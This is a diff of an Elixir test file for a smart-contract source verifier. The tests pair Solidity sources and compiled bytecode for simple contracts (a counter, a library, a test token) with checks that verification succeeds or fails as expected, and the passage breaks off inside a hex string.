{ - event Incremented(address indexed sender, uint256 newValue); - uint256 public value; - address public lastSender; - function Incrementer(uint256 initialValue) { - value = initialValue; - lastSender = msg.sender; - } - function inc(uint256 delta) { - value = value + delta; - lastSender = msg.sender; - } - } - """ - - params = %{ - "contract_source_code" => code, - "compiler_version" => "v0.4.15+commit.bbb8e64f", - "evm_version" => "homestead", - "name" => "Incrementer", - "optimization" => false, - "constructor_arguments" => constructor_arguments - } - - assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) - assert abi != nil - end + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: "0x" <> input + ) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => contract, + "compiler_version" => compiler_version, + "evm_version" => evm_version, + "name" => name, + "optimization" => optimize + } + + assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) + assert abi != nil + end + + test "verifies smart contract and ignores not needed constructor arguments", %{ + contract_code_info: contract_code_info + } do + contract_address = insert(:contract_address, contract_code: contract_code_info.bytecode) + + constructor_arguments = "0102030405" + + params = %{ + "contract_source_code" => contract_code_info.source_code, + "compiler_version" => contract_code_info.version, + "name" => contract_code_info.name, + "optimization" => contract_code_info.optimized, + "constructor_arguments" => constructor_arguments + } - test "verifies a library" do - bytecode = - "0x610102610026600b82828239805160001a60731461001957fe5b30600052607381538281f3fe730000000000000000000000000000000000000000301460806040526004361060335760003560e01c8063c2985578146038575b600080fd5b603e60b0565b6040805160208082528351818301528351919283929083019185019080838360005b8381101560765781810151838201526020016060565b50505050905090810190601f16801560a25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b604080518082019091526003815262666f6f60e81b60208201529056fea265627a7a7231582079c18e1f9cf2812147d15e5d44f16ff748f8b7349d32dc9db50300a3ffbd3a9664736f6c634300050b0032" + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: contract_code_info.tx_input + ) + |> with_block(status: :ok) - contract_address = insert(:contract_address, contract_code: bytecode) + assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) + assert abi != nil + end - :transaction - |> insert(created_contract_address_hash: contract_address.hash, input: bytecode) - |> with_block(status: :ok) + test "tries to compile with the latest evm version if wrong evm version was provided" do + bytecode = + "0x6060604052341561000f57600080fd5b604051602080610223833981016040528080519060200190919050505b8060008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b505b61019d806100866000396000f30060606040526000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063256fec88146100545780633fa4f245146100a9578063812600df146100d2575b600080fd5b341561005f57600080fd5b6100676100f5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156100b457600080fd5b6100bc61011b565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b6100f36004808035906020019091905050610121565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b806000540160008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b505600a165627a7a723058201de7017582ff17d45730bc9aedeac5b399399b71b188f42a164609c1b6f7f4760029" - code = """ - pragma solidity 0.5.11; + constructor_arguments = "000000000000000000000000000000000000000000000000000000000000000a" - library Foo { - function foo() external pure returns (string memory) { - return "foo"; - } - } - """ + contract_address = insert(:contract_address, contract_code: bytecode) - params = %{ - "contract_source_code" => code, - "compiler_version" => "v0.5.11+commit.c082d0b4", - "evm_version" => "default", - "name" => "Foo", - "optimization" => true - } + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: bytecode <> constructor_arguments + ) + |> with_block(status: :ok) + + code = """ + pragma solidity ^0.4.15; + contract Incrementer { + event Incremented(address indexed sender, uint256 newValue); + uint256 public value; + address public lastSender; + function Incrementer(uint256 initialValue) { + value = initialValue; + lastSender = msg.sender; + } + function inc(uint256 delta) { + value = value + delta; + lastSender = msg.sender; + } + } + """ + + params = %{ + "contract_source_code" => code, + "compiler_version" => "v0.4.15+commit.bbb8e64f", + "evm_version" => "homestead", + "name" => "Incrementer", + "optimization" => false, + "constructor_arguments" => constructor_arguments + } + + assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) + assert abi != nil + end + + test "verifies a library" do + bytecode = + "0x610102610026600b82828239805160001a60731461001957fe5b30600052607381538281f3fe730000000000000000000000000000000000000000301460806040526004361060335760003560e01c8063c2985578146038575b600080fd5b603e60b0565b6040805160208082528351818301528351919283929083019185019080838360005b8381101560765781810151838201526020016060565b50505050905090810190601f16801560a25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b604080518082019091526003815262666f6f60e81b60208201529056fea265627a7a7231582079c18e1f9cf2812147d15e5d44f16ff748f8b7349d32dc9db50300a3ffbd3a9664736f6c634300050b0032" + + contract_address = insert(:contract_address, contract_code: bytecode) - assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) - assert abi != nil - end + :transaction + |> insert(created_contract_address_hash: contract_address.hash, input: bytecode) + |> with_block(status: :ok) - test "verifies smart contract compiled with Solidity 0.5.9 (includes new metadata in bytecode) with constructor args and does not verify with wrong args" do - path = File.cwd!() <> "/test/support/fixture/smart_contract/solidity_0.5.9_smart_contract.sol" - contract = File.read!(path) - - wrong_constructor_arguments = - "00000000000000000000000000000000000000000000003635c9adc5dea000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000a54657374546f6b656e32000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006546f6b656e320000000000000000000000000000000000000000000000000000" - - constructor_arguments = - "0000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000954657374546f6b656e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005546f6b656e000000000000000000000000000000000000000000000000000000" - - bytecode = - "0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633177029f116100715780633177029f1461025f57806354fd4d50146102c557806370a082311461034857806395d89b41146103a0578063a9059cbb14610423578063dd62ed3e14610489576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019757806323b872dd146101b5578063313ce5671461023b575b600080fd5b6100b6610501565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061059f565b604051808215151515815260200191505060405180910390f35b61019f610691565b6040518082815260200191505060405180910390f35b610221600480360360608110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610696565b604051808215151515815260200191505060405180910390f35b61024361090f565b604051808260ff1660ff16815260200191505060405180910390f35b6102ab6004803603604081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610922565b604051808215151515815260200191505060405180910390f35b6102cd610a14565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030d5780820151818401526020810190506102f2565b50505050905090810190601f16801561033a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61038a6004803603602081101561035e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab2565b6040518082815260200191505060405180910390f35b6103a8610afa565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e85780820151818401526020810190506103cd565b50505050905090810190601f1680156104155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61046f6004803603604081101561043957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b98565b604051808215151515815260200191505060405180910390f35b6104eb6004803603604081101561049f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cfe565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105975780601f1061056c57610100808354040283529160200191610597565b820191906000526020600020905b81548152906001019060200180831161057a57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600090565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610762575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561076e5750600082115b1561090357816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610908565b600090505b9392505050565b600460009054906101000a900460ff1681565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aaa5780601f10610a7f57610100808354040283529160200191610aaa565b820191906000526020600020905b815481529060010190602001808311610a8d57829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b905780601f10610b6557610100808354040283529160200191610b90565b820191906000526020600020905b815481529060010190602001808311610b7357829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610be85750600082115b15610cf357816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610cf8565b600090505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509291505056fea265627a7a723058202bede3d06720cdf63e8e43fa1d96f228a476cc899ae007bf684e802f2484ce7664736f6c63430005090032" - - input = - "0x60806040526040518060400160405280600381526020017f302e3100000000000000000000000000000000000000000000000000000000008152506006908051906020019062000051929190620001e2565b503480156200005f57600080fd5b506040516200105b3803806200105b833981810160405260808110156200008557600080fd5b81019080805190602001909291908051640100000000811115620000a857600080fd5b82810190506020810184811115620000bf57600080fd5b8151856001820283011164010000000082111715620000dd57600080fd5b50509291906020018051906020019092919080516401000000008111156200010457600080fd5b828101905060208101848111156200011b57600080fd5b81518560018202830111640100000000821117156200013957600080fd5b5050929190505050836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550836002819055508260039080519060200190620001a3929190620001e2565b5081600460006101000a81548160ff021916908360ff1602179055508060059080519060200190620001d7929190620001e2565b505050505062000291565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200022557805160ff191683800117855562000256565b8280016001018555821562000256579182015b828111156200025557825182559160200191906001019062000238565b5b50905062000265919062000269565b5090565b6200028e91905b808211156200028a57600081600090555060010162000270565b5090565b90565b610dba80620002a16000396000f3fe608060405234801561001057600080fd5b50600436106100a95760003560e01c80633177029f116100715780633177029f1461025f57806354fd4d50146102c557806370a082311461034857806395d89b41146103a0578063a9059cbb14610423578063dd62ed3e14610489576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019757806323b872dd146101b5578063313ce5671461023b575b600080fd5b6100b6610501565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061059f565b604051808215151515815260200191505060405180910390f35b61019f610691565b6040518082815260200191505060405180910390f35b610221600480360360608110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610696565b604051808215151515815260200191505060405180910390f35b61024361090f565b604051808260ff1660ff16815260200191505060405180910390f35b6102ab6004803603604081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610922565b604051808215151515815260200191505060405180910390f35b6102cd610a14565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030d5780820151818401526020810190506102f2565b50505050905090810190601f16801561033a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61038a6004803603602081101561035e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab2565b6040518082815260200191505060405180910390f35b6103a8610afa565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e85780820151818401526020810190506103cd565b50505050905090810190601f1680156104155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61046f6004803603604081101561043957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b98565b604051808215151515815260200191505060405180910390f35b6104eb6004803603604081101561049f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cfe565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105975780601f1061056c57610100808354040283529160200191610597565b820191906000526020600020905b81548152906001019060200180831161057a57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600090565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610762575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561076e5750600082115b1561090357816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610908565b600090505b9392505050565b600460009054906101000a900460ff1681565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aaa5780601f10610a7f57610100808354040283529160200191610aaa565b820191906000526020600020905b815481529060010190602001808311610a8d57829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b905780601f10610b6557610100808354040283529160200191610b90565b820191906000526020600020905b815481529060010190602001808311610b7357829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610be85750600082115b15610cf357816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610cf8565b600090505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509291505056fea265627a7a723058202bede3d06720cdf63e8e43fa1d96f228a476cc899ae007bf684e802f2484ce7664736f6c63430005090032" - - contract_address = insert(:contract_address, contract_code: bytecode) - - :transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: input <> constructor_arguments - ) - |> with_block(status: :ok) - - params = %{ - "contract_source_code" => contract, - "compiler_version" => "v0.5.9+commit.e560f70d", - "evm_version" => "petersburg", - "name" => "TestToken", - "optimization" => false, - "constructor_arguments" => constructor_arguments - } - - assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) - assert abi != nil - - contract_address_1 = insert(:contract_address, contract_code: bytecode) - - :transaction - |> insert( - created_contract_address_hash: contract_address_1.hash, - input: input <> constructor_arguments - ) - |> with_block(status: :ok) - - params_1 = %{ - "contract_source_code" => contract, - "compiler_version" => "v0.5.9+commit.e560f70d", - "evm_version" => "petersburg", - "name" => "TestToken", - "optimization" => false, - "constructor_arguments" => wrong_constructor_arguments - } - - assert {:error, :constructor_arguments} = Verifier.evaluate_authenticity(contract_address_1.hash, params_1) - end + code = """ + pragma solidity 0.5.11; - # flaky test - test "returns error when bytecode doesn't match", %{contract_code_info: contract_code_info} do - contract_address = insert(:contract_address, contract_code: contract_code_info.bytecode) + library Foo { + function foo() external pure returns (string memory) { + return "foo"; + } + } + """ - :transaction - |> insert(created_contract_address_hash: contract_address.hash, input: contract_code_info.tx_input) - |> with_block(status: :ok) + params = %{ + "contract_source_code" => code, + "compiler_version" => "v0.5.11+commit.c082d0b4", + "evm_version" => "default", + "name" => "Foo", + "optimization" => true + } - different_code = "pragma solidity ^0.4.24; contract SimpleStorage {}" + assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) + assert abi != nil + end - params = %{ - "contract_source_code" => different_code, - "compiler_version" => contract_code_info.version, - "evm_version" => "default", - "name" => contract_code_info.name, - "optimization" => contract_code_info.optimized - } + test "verifies smart contract compiled with Solidity 0.5.9 (includes new metadata in bytecode) with constructor args and does not verify with wrong args" do + path = File.cwd!() <> "/test/support/fixture/smart_contract/solidity_0.5.9_smart_contract.sol" + contract = File.read!(path) - response = Verifier.evaluate_authenticity(contract_address.hash, params) + wrong_constructor_arguments = + "00000000000000000000000000000000000000000000003635c9adc5dea000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000a54657374546f6b656e32000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006546f6b656e320000000000000000000000000000000000000000000000000000" - assert {:error, :generated_bytecode} = response - end + constructor_arguments = + "0000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000954657374546f6b656e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005546f6b656e000000000000000000000000000000000000000000000000000000" - # flaky test - test "returns error when contract has constructor arguments and they were not provided" do - path = File.cwd!() <> "/test/support/fixture/smart_contract/solidity_0.5.9_smart_contract.sol" - contract = File.read!(path) + bytecode = + "0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633177029f116100715780633177029f1461025f57806354fd4d50146102c557806370a082311461034857806395d89b41146103a0578063a9059cbb14610423578063dd62ed3e14610489576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019757806323b872dd146101b5578063313ce5671461023b575b600080fd5b6100b6610501565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061059f565b604051808215151515815260200191505060405180910390f35b61019f610691565b6040518082815260200191505060405180910390f35b610221600480360360608110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610696565b604051808215151515815260200191505060405180910390f35b61024361090f565b604051808260ff1660ff16815260200191505060405180910390f35b6102ab6004803603604081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610922565b604051808215151515815260200191505060405180910390f35b6102cd610a14565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030d5780820151818401526020810190506102f2565b50505050905090810190601f16801561033a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61038a6004803603602081101561035e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab2565b6040518082815260200191505060405180910390f35b6103a8610afa565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e85780820151818401526020810190506103cd565b50505050905090810190601f1680156104155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61046f6004803603604081101561043957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b98565b604051808215151515815260200191505060405180910390f35b6104eb6004803603604081101561049f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cfe565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105975780601f1061056c57610100808354040283529160200191610597565b820191906000526020600020905b81548152906001019060200180831161057a57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600090565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610762575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561076e5750600082115b1561090357816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610908565b600090505b9392505050565b600460009054906101000a900460ff1681565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aaa5780601f10610a7f57610100808354040283529160200191610aaa565b820191906000526020600020905b815481529060010190602001808311610a8d57829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b905780601f10610b6557610100808354040283529160200191610b90565b820191906000526020600020905b815481529060010190602001808311610b7357829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610be85750600082115b15610cf357816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610cf8565b600090505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509291505056fea265627a7a723058202bede3d06720cdf63e8e43fa1d96f228a476cc899ae007bf684e802f2484ce7664736f6c63430005090032" - constructor_arguments = "" + input = + "0x60806040526040518060400160405280600381526020017f302e3100000000000000000000000000000000000000000000000000000000008152506006908051906020019062000051929190620001e2565b503480156200005f57600080fd5b506040516200105b3803806200105b833981810160405260808110156200008557600080fd5b81019080805190602001909291908051640100000000811115620000a857600080fd5b82810190506020810184811115620000bf57600080fd5b8151856001820283011164010000000082111715620000dd57600080fd5b50509291906020018051906020019092919080516401000000008111156200010457600080fd5b828101905060208101848111156200011b57600080fd5b81518560018202830111640100000000821117156200013957600080fd5b5050929190505050836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550836002819055508260039080519060200190620001a3929190620001e2565b5081600460006101000a81548160ff021916908360ff1602179055508060059080519060200190620001d7929190620001e2565b505050505062000291565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200022557805160ff191683800117855562000256565b8280016001018555821562000256579182015b828111156200025557825182559160200191906001019062000238565b5b50905062000265919062000269565b5090565b6200028e91905b808211156200028a57600081600090555060010162000270565b5090565b90565b610dba80620002a160